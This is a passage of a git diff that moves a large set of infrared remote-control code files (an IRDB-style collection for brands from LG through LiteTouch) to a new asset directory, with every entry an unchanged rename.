b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir similarity 